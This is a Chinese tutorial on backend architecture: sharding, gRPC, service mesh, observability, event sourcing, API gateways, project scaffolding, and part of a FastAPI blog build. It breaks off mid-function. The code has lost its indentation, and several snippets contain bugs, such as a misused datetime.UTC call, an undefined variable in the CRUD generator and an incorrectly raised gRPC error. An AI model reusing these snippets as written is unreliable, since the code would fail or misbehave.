想象一个有 1 亿条记录的订单表——就像一本 10 万页的电话簿。翻一遍要几个小时。如果你把它拆成 100 本电话簿(每本 100 万条),按用户 ID 的最后两位数字分到不同的本子里,找某个人只需要翻一本——快了 100 倍。
把一个大数据库按业务领域拆成多个小数据库:
# 拆分前:一个数据库,所有表在一起
mydb/
├── users
├── orders
├── products
├── payments
└── logs
# 拆分后:三个数据库,各自独立
user_db/ → 用户相关
├── users
├── user_profiles
└── addresses
order_db/ → 订单相关
├── orders
├── order_items
└── shipments
product_db/ → 商品相关
├── products
├── categories
└── inventory
① 不同业务的数据库可以独立扩展(订单库需要更多存储,用户库需要更快的 SSD)。② 故障隔离——商品库挂了不影响用户登录。③ 不同业务可以用不同类型的数据库(用户用 MySQL,日志用 MongoDB)。
当单表数据量太大时,把同一张表按某个字段(分片键)拆成多张表:
# 分片策略:按 user_id 取模
# user_id = 1001 → 1001 % 16 = 9 → 存到 order_9
# user_id = 1002 → 1002 % 16 = 10 → 存到 order_10
# 分片后的表
order_0, order_1, order_2, ... order_15 # 共 16 张表
# 查询时自动路由
def get_order(order_id, user_id):
shard = user_id % 16
table_name = f"order_{shard}"
return db.execute(f"SELECT * FROM {table_name} WHERE id = %s", (order_id,))
| 中间件 | 语言 | 特点 |
|---|---|---|
| ShardingSphere | Java | 功能最全,支持分库分表 + 读写分离 + 分布式事务 |
| Vitess | Go | YouTube 出品,MySQL 分片方案 |
| Citus | PostgreSQL 扩展 | PostgreSQL 原生分片,对应用透明 |
| 应用层分片 | Python | 在代码中手动路由,简单但维护成本高 |
# 分库分表后,自增 ID 不再全局唯一
# 解决方案:雪花算法(Snowflake)生成分布式 ID
# 结构:时间戳(41位) + 机器ID(10位) + 序列号(12位)
from snowflake import SnowflakeGenerator
gen = SnowflakeGenerator(instance=1)
order_id = next(gen) # 例如:1234567890123456789
# 全局唯一、趋势递增、不依赖数据库
① 跨分片查询困难(JOIN 不同库的表需要在应用层合并)。② 分布式事务复杂。③ 全局唯一 ID 需要特殊处理。④ 扩容时数据迁移痛苦(从 16 片扩到 32 片,大部分数据要迁移)。不到万不得已,先用读写分离 + 缓存。
选择分片键的原则:① 查询频率高(如 user_id,大部分查询都带 user_id)。② 数据分布均匀(避免热点——如果按日期分片,今天的分片会特别忙)。③ 尽量让相关数据在同一个分片(如同一用户的订单)。选错分片键会导致数据倾斜(某些分片特别大,其他很空)。
gRPC 是 Google 开发的高性能 RPC 框架——比 REST 快 10 倍,特别适合微服务内部通信。
// user.proto — Protocol Buffers 定义文件
syntax = "proto3";
service UserService {
rpc GetUser (GetUserRequest) returns (UserResponse);
rpc ListUsers (ListUsersRequest) returns (stream UserResponse); // 服务端流式
}
message GetUserRequest {
int32 id = 1;
}
message UserResponse {
int32 id = 1;
string name = 2;
string email = 3;
}
| 维度 | REST + JSON | gRPC + Protobuf |
|---|---|---|
| 协议 | HTTP/1.1 | HTTP/2 |
| 数据格式 | JSON(文本,大) | Protobuf(二进制,小 3-10 倍) |
| 速度 | 中等 | 极快 |
| 流式通信 | 不支持 | 原生支持 |
| 浏览器 | 直接调用 | 需要 gRPC-Web 代理 |
| 适用场景 | 对外 API、前端调用 | 微服务内部通信 |
# 安装:pip install grpcio grpcio-tools
# 1. 定义 proto 文件(user.proto)
# 2. 生成 Python 代码
# python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. user.proto
# 服务端实现
import grpc
from concurrent import futures
import user_pb2
import user_pb2_grpc
class UserService(user_pb2_grpc.UserServiceServicer):
def GetUser(self, request, context):
# 查询用户
user = db.session.get(User, request.id)
if not user:
context.abort(grpc.StatusCode.NOT_FOUND, "用户不存在")
return user_pb2.UserResponse(
id=user.id,
name=user.name,
email=user.email,
)
def ListUsers(self, request, context):
"""服务端流式——一次返回多个用户"""
users = db.query(User).all()
for user in users:
yield user_pb2.UserResponse(
id=user.id,
name=user.name,
email=user.email,
)
# 启动服务
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
user_pb2_grpc.add_UserServiceServicer_to_server(UserService(), server)
server.add_insecure_port('[::]:50051')
server.start()
server.wait_for_termination()
# 客户端调用
import grpc
import user_pb2
import user_pb2_grpc
channel = grpc.insecure_channel('localhost:50051')
stub = user_pb2_grpc.UserServiceStub(channel)
# 一元调用
response = stub.GetUser(user_pb2.GetUserRequest(id=1))
print(f"用户: {response.name}")
# 流式调用
for user in stub.ListUsers(user_pb2.ListUsersRequest()):
print(f"用户: {user.name}")
# 拦截器——类似中间件
import grpc
class AuthInterceptor(grpc.ServerInterceptor):
def intercept_service(self, continuation, handler_call_details):
# 从 metadata 中获取 token
metadata = dict(handler_call_details.invocation_metadata)
token = metadata.get('authorization', '')
if not verify_token(token):
raise grpc.RpcError(grpc.StatusCode.UNAUTHENTICATED, "无效的 Token")
return continuation(handler_call_details)
# 使用拦截器
server = grpc.server(
futures.ThreadPoolExecutor(max_workers=10),
interceptors=[AuthInterceptor()]
)
# gRPC 错误码
import grpc
class UserService(user_pb2_grpc.UserServiceServicer):
def GetUser(self, request, context):
if request.id <= 0:
context.abort(grpc.StatusCode.INVALID_ARGUMENT, "ID 必须大于 0")
user = db.session.get(User, request.id)
if not user:
context.abort(grpc.StatusCode.NOT_FOUND, f"用户 {request.id} 不存在")
return user_pb2.UserResponse(id=user.id, name=user.name)
# 客户端错误处理
try:
response = stub.GetUser(user_pb2.GetUserRequest(id=999))
except grpc.RpcError as e:
if e.code() == grpc.StatusCode.NOT_FOUND:
print("用户不存在")
elif e.code() == grpc.StatusCode.UNAUTHENTICATED:
print("认证失败")
else:
print(f"错误: {e.code()}: {e.details()}")
对外 API(前端/第三方调用)用 REST。微服务之间的内部通信用 gRPC。两者可以共存——网关层用 REST 接收外部请求,内部转发用 gRPC。gRPC 特别适合:① 高性能内部通信。② 流式数据传输。③ 多语言微服务(Proto 是语言无关的)。
gRPC 不像 REST 那样可以用 curl 测试。调试工具:① grpcurl——命令行 gRPC 客户端。② Postman——支持 gRPC 请求。③ grpcui——Web 界面的 gRPC 客户端。④ BloomRPC——桌面 gRPC 客户端。
微服务多了之后,服务间通信的管理变得极其复杂——重试、熔断、链路追踪、流量控制。Service Mesh 把这些逻辑从应用代码中抽离出来,让开发者专注于业务。
Service Mesh 就像城市的交通管理系统。每辆车(服务)不需要自己看红绿灯、找路、处理事故——交通信号灯(控制平面)统一调度,摄像头(可观测性)监控一切,导航(代理)帮你找最优路线。你只需要专注开车(写业务代码)。
每个服务旁边部署一个代理(Sidecar),所有出入流量都经过代理:
| 维度 | Istio | Linkerd |
|---|---|---|
| 代理 | Envoy(C++,功能强大) | linkerd2-proxy(Rust,极轻量) |
| 复杂度 | 高(组件多,配置复杂) | 低(开箱即用) |
| 性能 | 增加 1-3ms 延迟 | 增加 <1ms 延迟 |
| 适用场景 | 大型企业、复杂流量管理 | 中小型团队、快速上手 |
# OpenTelemetry 集成(Python)
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.exporter.jaeger.thrift import JaegerExporter
# 配置
provider = TracerProvider()
exporter = JaegerExporter(agent_host_name="localhost", agent_port=6831)
provider.add_span_processor(BatchSpanProcessor(exporter))
trace.set_tracer_provider(provider)
# 在代码中创建 Span
tracer = trace.get_tracer(__name__)
@app.get("/api/orders/{order_id}")
def get_order(order_id: int):
with tracer.start_as_current_span("get_order") as span:
span.set_attribute("order_id", order_id)
order = db.session.get(Order, order_id)
with tracer.start_as_current_span("get_user"):
user = db.session.get(User, order.user_id)
return {"order": order, "user": user}
一个请求经过 5 个微服务,如何知道哪里慢了?Jaeger 为每个请求生成唯一的 Trace ID,在 Jaeger UI 上可以看到瀑布图:用户服务耗时 5ms → 订单服务耗时 50ms(瓶颈!)→ 支付服务耗时 10ms。一眼就能定位性能瓶颈。
① 每个请求多经过一层代理,增加 1-2ms 延迟。② 运维复杂度增加(需要管理控制平面、升级代理)。③ 资源消耗增加(每个 Pod 多一个容器)。④ 学习曲线陡峭。小型微服务集群(< 10 个服务)不需要 Service Mesh,用 API 网关就够了。
# pip install prometheus-client
from prometheus_client import Counter, Histogram, Gauge, generate_latest
from fastapi import FastAPI, Request
import time
app = FastAPI()
# 定义指标
REQUEST_COUNT = Counter(
'http_requests_total',
'Total HTTP requests',
['method', 'endpoint', 'status']
)
REQUEST_LATENCY = Histogram(
'http_request_duration_seconds',
'HTTP request latency',
['method', 'endpoint'],
buckets=[0.01, 0.05, 0.1, 0.5, 1.0, 5.0]
)
ACTIVE_REQUESTS = Gauge(
'http_active_requests',
'Number of active requests',
['method']
)
# 中间件:自动采集指标
@app.middleware("http")
async def metrics_middleware(request: Request, call_next):
method = request.method
endpoint = request.url.path
ACTIVE_REQUESTS.labels(method=method).inc()
start = time.time()
try:
response = await call_next(request)
status = response.status_code
return response
finally:
elapsed = time.time() - start
REQUEST_COUNT.labels(method=method, endpoint=endpoint, status=status).inc()
REQUEST_LATENCY.labels(method=method, endpoint=endpoint).observe(elapsed)
ACTIVE_REQUESTS.labels(method=method).dec()
# 暴露 /metrics 端点
@app.get("/metrics")
async def metrics():
from fastapi.responses import PlainTextResponse
return PlainTextResponse(generate_latest(), media_type="text/plain")
# 自定义业务指标
ORDER_COUNT = Counter('orders_total', 'Total orders', ['status'])
REVENUE = Gauge('revenue_total', 'Total revenue')
@app.post("/orders")
async def create_order():
# ... 创建订单逻辑
ORDER_COUNT.labels(status='created').inc()
REVENUE.inc(99.9)
# Grafana Dashboard 配置(PromQL 查询)
# QPS: rate(http_requests_total[5m])
# P99 延迟: histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m]))
# 错误率: rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m])
# 活跃请求: http_active_requests
# pip install structlog
import structlog
import logging
import uuid
from fastapi import Request
# 配置 structlog
structlog.configure(
processors=[
structlog.contextvars.merge_contextvars,
structlog.processors.add_log_level,
structlog.processors.TimeStamper(fmt="iso"),
structlog.processors.JSONRenderer(),
],
wrapper_class=structlog.make_filtering_bound_logger(logging.INFO),
)
logger = structlog.get_logger()
# 中间件:自动注入 request_id
@app.middleware("http")
async def add_request_id(request: Request, call_next):
request_id = str(uuid.uuid4())
structlog.contextvars.bind_contextvars(request_id=request_id)
response = await call_next(request)
response.headers["X-Request-ID"] = request_id
return response
# 使用示例
@app.get("/users/{user_id}")
async def get_user(user_id: int):
logger.info("获取用户", user_id=user_id)
user = await fetch_user(user_id)
logger.info("用户获取成功", user_id=user_id, username=user["name"])
return user
# 输出(JSON 格式):
# {"event": "获取用户", "user_id": 123, "request_id": "abc-123", "level": "info", "timestamp": "2024-06-27T10:00:00Z"}
# {"event": "用户获取成功", "user_id": 123, "username": "张三", "request_id": "abc-123", "level": "info", "timestamp": "2024-06-27T10:00:01Z"}
# 日志脱敏处理器
def mask_sensitive(logger, method_name, event_dict):
"""脱敏敏感信息"""
for field in ['password', 'token', 'secret', 'credit_card']:
if field in event_dict:
event_dict[field] = '***'
return event_dict
structlog.configure(processors=[mask_sensitive] + structlog.processors.default_processors())
# pip install opentelemetry-distro opentelemetry-exporter-jaeger
# opentelemetry-instrument 命令行工具可以零代码添加链路追踪
# 方式 1:命令行自动埋点(推荐)
# opentelemetry-instrument \
# --service_name myapp \
# --exporter_jaeger_endpoint http://localhost:14268/api/traces \
# uvicorn main:app
# 方式 2:代码手动配置
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import BatchSpanProcessor
from opentelemetry.exporter.jaeger.thrift import JaegerExporter
from opentelemetry.instrumentation.fastapi import FastAPIInstrumentor
from opentelemetry.instrumentation.sqlalchemy import SQLAlchemyInstrumentor
# 配置 TracerProvider
provider = TracerProvider()
exporter = JaegerExporter(agent_host_name="localhost", agent_port=6831)
provider.add_span_processor(BatchSpanProcessor(exporter))
trace.set_tracer_provider(provider)
# 自动埋点 FastAPI
FastAPIInstrumentor.instrument_app(app)
# 自动埋点 SQLAlchemy
SQLAlchemyInstrumentor().instrument(engine=engine)
# 自动埋点 Redis、HTTP 客户端等
from opentelemetry.instrumentation.redis import RedisInstrumentor
from opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor
RedisInstrumentor().instrument()
HTTPXClientInstrumentor().instrument()
# 日志中注入 Trace ID(日志-追踪关联)
import logging
class TraceIdFilter(logging.Filter):
def filter(self, record):
span = trace.get_current_span()
context = span.get_span_context()
record.trace_id = format(context.trace_id, '032x')
record.span_id = format(context.span_id, '016x')
return True
logging.getLogger().addFilter(TraceIdFilter())
# 日志格式中包含 trace_id
logging.basicConfig(
format='%(asctime)s trace_id=%(trace_id)s %(message)s'
)
传统方式只存"当前状态"(余额 100 元)。事件溯源存"所有历史事件"(存入 200、取出 100 = 余额 100)。可以回放任何时间点的状态。
# 传统方式:只存当前状态
account = {"id": 1, "balance": 100}
# 事件溯源:存所有事件
events = [
{"type": "AccountCreated", "amount": 0, "time": "2024-01-01"},
{"type": "MoneyDeposited", "amount": 200, "time": "2024-01-15"},
{"type": "MoneyWithdrawn", "amount": 100, "time": "2024-02-01"},
]
# 当前状态 = 回放所有事件:0 + 200 - 100 = 100
# 事件存储——记录所有业务事件
from datetime import datetime
import json
class EventStore:
def __init__(self, db):
self.db = db
def append(self, aggregate_id: str, event_type: str, data: dict):
"""追加事件"""
event = {
'aggregate_id': aggregate_id,
'event_type': event_type,
'data': json.dumps(data),
'timestamp': datetime.now(datetime.UTC).isoformat(),
'version': self._get_next_version(aggregate_id),
}
self.db.events.insert_one(event)
return event
def get_events(self, aggregate_id: str) -> list:
"""获取聚合的所有事件"""
return list(self.db.events.find(
{'aggregate_id': aggregate_id}
).sort('version', 1))
def replay(self, aggregate_id: str) -> dict:
"""回放事件,重建当前状态"""
events = self.get_events(aggregate_id)
state = {}
for event in events:
state = self._apply_event(state, event)
return state
# 使用
store = EventStore(db)
store.append("account:123", "AccountCreated", {"balance": 0})
store.append("account:123", "MoneyDeposited", {"amount": 200})
store.append("account:123", "MoneyWithdrawn", {"amount": 50})
# 回放得到当前状态
state = store.replay("account:123") # {"balance": 150}
# CQRS——命令和查询分离
# 写模型(处理命令)
class AccountCommandHandler:
def __init__(self, event_store):
self.event_store = event_store
def create_account(self, account_id: str, initial_balance: float):
self.event_store.append(account_id, "AccountCreated", {
"balance": initial_balance
})
def deposit(self, account_id: str, amount: float):
self.event_store.append(account_id, "MoneyDeposited", {
"amount": amount
})
def withdraw(self, account_id: str, amount: float):
# 验证余额
state = self.event_store.replay(account_id)
if state.get('balance', 0) < amount:
raise ValueError("余额不足")
self.event_store.append(account_id, "MoneyWithdrawn", {
"amount": amount
})
# 读模型(处理查询)——物化视图
class AccountQueryHandler:
def __init__(self, db, event_store):
self.db = db
self.event_store = event_store
def get_balance(self, account_id: str) -> float:
account = self.db.accounts.find_one({'account_id': account_id})
return account['balance'] if account else 0
def refresh_read_model(self, account_id: str):
"""事件处理器更新读模型"""
# 从事件存储回放,更新读模型
events = self.event_store.get_events(account_id)
balance = 0
for event in events:
if event['event_type'] == 'MoneyDeposited':
balance += json.loads(event['data'])['amount']
elif event['event_type'] == 'MoneyWithdrawn':
balance -= json.loads(event['data'])['amount']
self.db.accounts.update_one(
{'account_id': account_id},
{'$set': {'balance': balance}},
upsert=True
)
① 金融系统(需要完整审计日志)。② 协同编辑(需要回放历史)。③ 复杂业务逻辑(事件驱动)。④ 需要时间旅行(查看任意时间点的状态)。不适合简单 CRUD 应用——过度设计。
① 事件存储会越来越大(需要定期快照)。② 查询需要重建状态(性能差,需要读模型)。③ 事件 schema 变更困难(需要版本兼容)。④ 最终一致性(读模型有延迟)。⑤ 团队学习成本高。简单项目用传统 CRUD + 审计日志就够了。
API 网关是微服务的"门卫"——所有外部请求先经过网关,再转发到后端服务。它统一处理认证、限流、路由、日志,让后端服务专注于业务逻辑。
API 网关就像酒店的前台。客人(客户端)不需要知道酒店有几层楼、每层有多少房间——前台帮你查房卡(认证)、分配房间(路由)、控制入住人数(限流)、记录入住信息(日志)。你只需要告诉前台你要什么,前台帮你搞定一切。
| 维度 | Kong | Traefik | Envoy |
|---|---|---|---|
| 语言 | Lua(基于 Nginx) | Go | C++ |
| 配置 | 数据库 / 声明式 | 自动发现(Docker/K8s) | 动态配置(xDS API) |
| 插件生态 | 最丰富(300+ 插件) | 中等 | 通过 Filter 扩展 |
| 性能 | 高 | 极高 | 极高 |
| 适用场景 | 企业级,功能最全 | Docker/K8s 环境 | Service Mesh(Istio 默认) |
| 学习曲线 | 中等 | 低 | 高 |
# 添加服务
curl -X POST http://localhost:8001/services/ \
--data name=user-service \
--data url=http://user-service:8000
# 添加路由
curl -X POST http://localhost:8001/services/user-service/routes \
--data 'paths[]=/api/users' \
--data 'methods[]=GET' \
--data 'methods[]=POST'
# 添加限流插件
curl -X POST http://localhost:8001/services/user-service/plugins \
--data name=rate-limiting \
--data config.minute=100 \
--data config.policy=local
# 添加认证插件(JWT)
curl -X POST http://localhost:8001/services/user-service/plugins \
--data name=jwt
# Python 后端不需要关心网关细节
# 网关验证 Token 后,通过 Header 传给后端
@app.get("/api/users/me")
def get_current_user(
# 网关已经验证过 Token,直接从 Header 获取用户信息
user_id: str = Header(alias="X-User-Id"),
user_role: str = Header(alias="X-User-Role"),
):
return {"user_id": user_id, "role": user_role}
# 健康检查接口(网关用它来判断服务是否可用)
@app.get("/health")
def health_check():
return {"status": "ok"}
API 网关处理南北向流量(外部 → 内部)。Service Mesh 处理东西向流量(服务 ↔ 服务)。两者可以共存:网关做入口管理,Service Mesh 做服务间通信管理。
① 微服务数量超过 5 个。② 需要统一认证和限流。③ 需要对外暴露统一的 API 入口。④ 需要灰度发布和 A/B 测试。小型项目直接用 Nginx 做反向代理就够了。
好的项目结构让新人 10 分钟看懂代码,差的项目结构让老人找半天找不到文件。
# 推荐的 Python 后端项目结构
myproject/
├── app/
│ ├── __init__.py
│ ├── main.py # 应用入口
│ ├── config.py # 配置管理
│ ├── models/ # 数据模型
│ │ ├── __init__.py
│ │ ├── user.py
│ │ └── order.py
│ ├── schemas/ # Pydantic/序列化模型
│ │ ├── __init__.py
│ │ ├── user.py
│ │ └── order.py
│ ├── api/ # 路由/视图
│ │ ├── __init__.py
│ │ ├── v1/
│ │ │ ├── users.py
│ │ │ └── orders.py
│ │ └── deps.py # 依赖注入
│ ├── services/ # 业务逻辑
│ │ ├── __init__.py
│ │ └── user_service.py
│ ├── core/ # 核心工具
│ │ ├── security.py # 认证、加密
│ │ ├── exceptions.py # 自定义异常
│ │ └── middleware.py # 中间件
│ └── utils/ # 通用工具
├── tests/ # 测试代码
├── alembic/ # 数据库迁移
├── docs/ # 文档
├── scripts/ # 脚本(部署、数据初始化)
├── .env.example # 环境变量示例
├── .gitignore
├── docker-compose.yml
├── Dockerfile
├── pyproject.toml # 项目配置(Poetry)
└── README.md
# pyproject.toml — Python 项目标准配置
[project]
name = "myproject"
version = "0.1.0"
description = "My Python Web Application"
requires-python = ">=3.12"
dependencies = [
"fastapi>=0.110.0",
"uvicorn[standard]>=0.29.0",
"sqlalchemy>=2.0.0",
"pydantic-settings>=2.0.0",
"python-jose[cryptography]>=3.3.0",
]
[project.optional-dependencies]
dev = [
"pytest>=8.0.0",
"pytest-cov>=5.0.0",
"pytest-asyncio>=0.23.0",
"ruff>=0.4.0",
"httpx>=0.27.0",
]
[tool.ruff]
target-version = "py312"
line-length = 100
[tool.ruff.lint]
select = ["E", "F", "I", "N", "UP", "B", "SIM"]
[tool.pytest.ini_options]
testpaths = ["tests"]
asyncio_mode = "auto"
addopts = "--cov=app --cov-report=html -v"
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
# Makefile — 项目常用命令
.PHONY: install dev test lint run migrate
install: # 安装依赖
pip install -e .
dev: # 安装开发依赖
pip install -e ".[dev]"
pre-commit install
test: # 运行测试
pytest
test-cov: # 运行测试 + 覆盖率
pytest --cov=app --cov-report=html
lint: # 代码检查
ruff check .
ruff format --check .
format: # 代码格式化
ruff check --fix .
ruff format .
run: # 启动开发服务器
uvicorn app.main:app --reload --port 8000
migrate: # 数据库迁移
alembic upgrade head
migrate-new: # 创建迁移脚本
alembic revision --autogenerate -m "$(msg)"
docker-up: # Docker 启动
docker-compose up -d
docker-down: # Docker 停止
docker-compose down
# 分层架构:API → Service → Repository → Database
# 每一层的职责明确,方便测试和维护
# 1. API 层(路由 + 参数校验)
# app/api/v1/users.py
@router.post("/users", status_code=201)
def create_user(data: UserCreate, db: Session = Depends(get_db)):
return user_service.create(db, data) # 调用 Service 层
# 2. Service 层(业务逻辑)
# app/services/user_service.py
class UserService:
def create(self, db: Session, data: UserCreate) -> User:
if self.get_by_email(db, data.email):
raise BusinessError("邮箱已注册")
user = User(**data.model_dump())
user.password_hash = hash_password(data.password)
db.add(user)
db.commit()
return user
def get_by_email(self, db: Session, email: str) -> User:
return db.query(User).filter(User.email == email).first()
# 3. Model 层(数据模型)
# app/models/user.py
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
name = Column(String(50))
email = Column(String(100), unique=True)
# 好处:
# - API 层只负责 HTTP 协议转换
# - Service 层只负责业务逻辑(可复用)
# - Model 层只负责数据结构
# - 测试时可以单独 Mock 每一层
① 代码风格是否一致?② 是否有安全漏洞(SQL 注入、XSS)?③ 是否有性能问题(N+1 查询)?④ 是否有测试覆盖?⑤ 错误处理是否完善?⑥ 日志是否充分?⑦ 是否有硬编码的配置?⑧ 是否有未处理的异常?
① pyproject.toml 管理依赖(不用 requirements.txt)。② Makefile 统一常用命令。③ .env.example 列出所有环境变量。④ Dockerfile + docker-compose.yml 容器化。⑤ CI/CD 自动化(lint + test + deploy)。⑥ README.md 写清楚如何启动、测试、部署。⑦ 分层架构(API → Service → Model)。⑧ 统一的错误响应格式。
每次新建项目都从零开始写目录结构、配置文件、Dockerfile?用脚手架一键生成。
# Cookiecutter — 项目模板生成器
pip install cookiecutter
# 使用社区模板
cookiecutter https://github.com/tiangolo/full-stack-fastapi-template
# 自定义模板
my-template/
├── {{cookiecutter.project_name}}/
│ ├── app/
│ ├── tests/
│ ├── Dockerfile
│ └── README.md
└── cookiecutter.json # 定义变量
# 框架内置脚手架
django-admin startproject mysite # Django 项目
flask cli # Flask CLI
fastapi new myproject # FastAPI CLI
# 快速生成 CRUD 代码
# Django: django-admin generate model
# FastAPI: 用 copier 或自定义脚本
# 目录结构
my-fastapi-template/
├── {{cookiecutter.project_name}}/
│ ├── app/
│ │ ├── __init__.py
│ │ ├── main.py
│ │ ├── config.py
│ │ ├── models/
│ │ ├── schemas/
│ │ ├── api/
│ │ └── services/
│ ├── tests/
│ ├── alembic/
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── pyproject.toml
│ ├── .github/workflows/ci.yml
│ └── README.md
└── cookiecutter.json
# cookiecutter.json — 定义变量
{
"project_name": "my-project",
"project_slug": "{{ cookiecutter.project_name | lower | replace(' ', '-') }}",
"description": "A FastAPI project",
"author_name": "Your Name",
"version": "0.1.0",
"python_version": "3.12",
"database": ["postgresql", "mysql", "sqlite"],
"use_redis": ["yes", "no"],
"use_celery": ["yes", "no"]
}
# 模板中使用变量
# main.py
from app.config import settings
# {{ cookiecutter.project_name }} v{{ cookiecutter.version }}
# 生成项目
cookiecutter ./my-fastapi-template
# 用 Jinja2 模板生成 CRUD 代码
# code_generator.py
from jinja2 import Environment, FileSystemLoader
import os
env = Environment(loader=FileSystemLoader('templates'))
def generate_crud(model_name: str, fields: list):
"""根据模型名和字段生成完整的 CRUD 代码"""
context = {
'model_name': model_name,
'model_name_lower': model_name.lower(),
'fields': fields,
}
# 生成 Model
template = env.get_template('model.py.j2')
with open(f'app/models/{model_name_lower}.py', 'w') as f:
f.write(template.render(**context))
# 生成 Schema
template = env.get_template('schema.py.j2')
with open(f'app/schemas/{model_name_lower}.py', 'w') as f:
f.write(template.render(**context))
# 生成 API 路由
template = env.get_template('api.py.j2')
with open(f'app/api/{model_name_lower}.py', 'w') as f:
f.write(template.render(**context))
# 生成测试
template = env.get_template('test.py.j2')
with open(f'tests/test_{model_name_lower}.py', 'w') as f:
f.write(template.render(**context))
# 使用
generate_crud('Article', [
{'name': 'title', 'type': 'str', 'required': True},
{'name': 'content', 'type': 'str'},
{'name': 'status', 'type': 'str', 'default': "'draft'"},
])
| 模板 | 框架 | 特点 |
|---|---|---|
tiangolo/full-stack-fastapi-template | FastAPI | 生产级,含 Docker、CI/CD、PostgreSQL |
cookiecutter-django | Django | 最成熟的 Django 模板,多种配置选项 |
cookiecutter-flask | Flask | 轻量级 Flask 模板 |
fastapi-template | FastAPI | 简洁实用,适合学习 |
把常用的项目模板、部署脚本、CI/CD 配置封装成 Cookiecutter 模板。新项目一键生成,团队统一规范。每次改进模板,所有新项目都受益。
fastapi new myproject(需要 pip install fastapi-cli)。Django:django-admin startproject mysite。Flask:flask cli。这些内置脚手架适合快速开始,复杂项目用 Cookiecutter 模板。
理论学完了,动手做一个完整的博客系统——从需求分析到部署上线。
# 数据库设计
# users: id, username, email, password_hash, avatar, created_at
# articles: id, title, content, slug, status, author_id, category_id, views, created_at
# categories: id, name, slug
# tags: id, name
# article_tags: article_id, tag_id
# comments: id, content, article_id, user_id, parent_id, created_at
# API 设计
POST /api/v1/auth/register — 注册
POST /api/v1/auth/login — 登录
GET /api/v1/articles — 文章列表(分页、搜索、过滤)
POST /api/v1/articles — 创建文章
GET /api/v1/articles/{slug} — 文章详情
PUT /api/v1/articles/{id} — 编辑文章
DELETE /api/v1/articles/{id} — 删除文章
POST /api/v1/articles/{id}/comments — 发表评论
# app/models.py — 数据模型
from sqlalchemy import Column, Integer, String, Text, DateTime, ForeignKey, Table
from sqlalchemy.orm import relationship
from datetime import datetime
article_tags = Table('article_tags', Base.metadata,
Column('article_id', Integer, ForeignKey('articles.id')),
Column('tag_id', Integer, ForeignKey('tags.id')),
)
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
username = Column(String(50), unique=True, nullable=False)
email = Column(String(100), unique=True, nullable=False)
password_hash = Column(String(128), nullable=False)
avatar = Column(String(500))
created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
articles = relationship('Article', back_populates='author')
class Article(Base):
__tablename__ = 'articles'
id = Column(Integer, primary_key=True)
title = Column(String(200), nullable=False)
slug = Column(String(200), unique=True)
content = Column(Text)
status = Column(String(20), default='draft') # draft/published
views = Column(Integer, default=0)
author_id = Column(Integer, ForeignKey('users.id'))
category_id = Column(Integer, ForeignKey('categories.id'))
created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
updated_at = Column(DateTime, onupdate=lambda: datetime.now(datetime.UTC))
author = relationship('User', back_populates='articles')
category = relationship('Category', back_populates='articles')
tags = relationship('Tag', secondary=article_tags, back_populates='articles')
comments = relationship('Comment', back_populates='article')
class Category(Base):
__tablename__ = 'categories'
id = Column(Integer, primary_key=True)
name = Column(String(50), unique=True)
slug = Column(String(50), unique=True)
articles = relationship('Article', back_populates='category')
class Tag(Base):
__tablename__ = 'tags'
id = Column(Integer, primary_key=True)
name = Column(String(50), unique=True)
articles = relationship('Article', secondary=article_tags, back_populates='tags')
class Comment(Base):
__tablename__ = 'comments'
id = Column(Integer, primary_key=True)
content = Column(Text, nullable=False)
article_id = Column(Integer, ForeignKey('articles.id'))
user_id = Column(Integer, ForeignKey('users.id'))
parent_id = Column(Integer, ForeignKey('comments.id'), nullable=True)
created_at = Column(DateTime, default=lambda: datetime.now(datetime.UTC))
article = relationship('Article', back_populates='comments')
# app/api/articles.py — 文章 API
from fastapi import APIRouter, Depends, HTTPException, Query
from sqlalchemy.orm import Session
router = APIRouter(prefix="/api/v1/articles", tags=["文章"])
@router.get("", summary="文章列表")
def list_articles(
page: int = Query(1, ge=1),
size: int = Query(20, ge=1, le=100),
category: str = None,
tag: str = None,
search: str = None,
db: Session = Depends(get_db),
):
query = db.query(Article).filter(Article.status == 'published')
if category:
query = query.join(Category).filter(Category.slug == category)
if tag:
query = query.join(Article.tags).filter(Tag.name == tag)
if search:
query = query.filter(Article.title.contains(search))
total = query.count()
articles = query.order_by(Article.created_at.desc()) \
.offset((page - 1) * size).limit(size).all()
return {
"code": 0,
"data": {
"items": [ArticleOut.model_validate(a) for a in articles],
"total": total, "page": page, "size": size,
}
}
@router.get("/{slug}", summary="文章详情")
def get_article(slug: str, db: Session = Depends(get_db)):
article = db.query(Article).filter(Article.slug == slug).first()
if not article:
raise HTTPException(404, "文章不存在")
article.views += 1
db.commit()
return {"code": 0, "data": ArticleOut.model_validate(article)}
@router.post("", status_code=201, summary="创建文章")
def create_article(
data: ArticleCreate,
db: Session = Depends(get_db),
user = Depends(get_current_user),
):
article = Article(**data.model_dump(), author_id=user.id)
article.slug = generate_slug(data.title)
db.add(article)
db.commit()
return {"code": 0, "data": ArticleOut.model_validate(article)}
# app/api/auth.py — 认证 API
from passlib.context import CryptContext
from jose import jwt
pwd_context = CryptContext(schemes=["bcrypt"])
@router.post("/register", status_code=201)
def register(data: UserCreate, db: Session = Depends(get_db)):
if db.query(User).filter(User.email == data.email).first():
raise HTTPException(400, "邮箱已注册")
user = User(
username=data.username,
email=data.email,
password_hash=pwd_context.hash(data.password),
)
db.add(user)
db.commit()
# 异步发送验证邮件
send_verification_email.delay(user.email, user.username)
return {"code": 0, "message": "注册成功,请查收验证邮件"}
@router.post("/login")
def login(data: UserLogin, db: Session = Depends(get_db)):
user = db.query(User).filter(User.email == data.email).first()
if not user or not pwd_context.verify(data.password, user.password_hash):
raise HTTPException(401, "邮箱或密码错误")
token = jwt.encode({"sub": user.id}, SECRET_KEY, algorithm="HS256")
return {"code": 0, "data": {"token": token}}
# app/api/comments.py — 评论 API
@router.post("/articles/{article_id}/comments", status_code=201)
def create_comment(
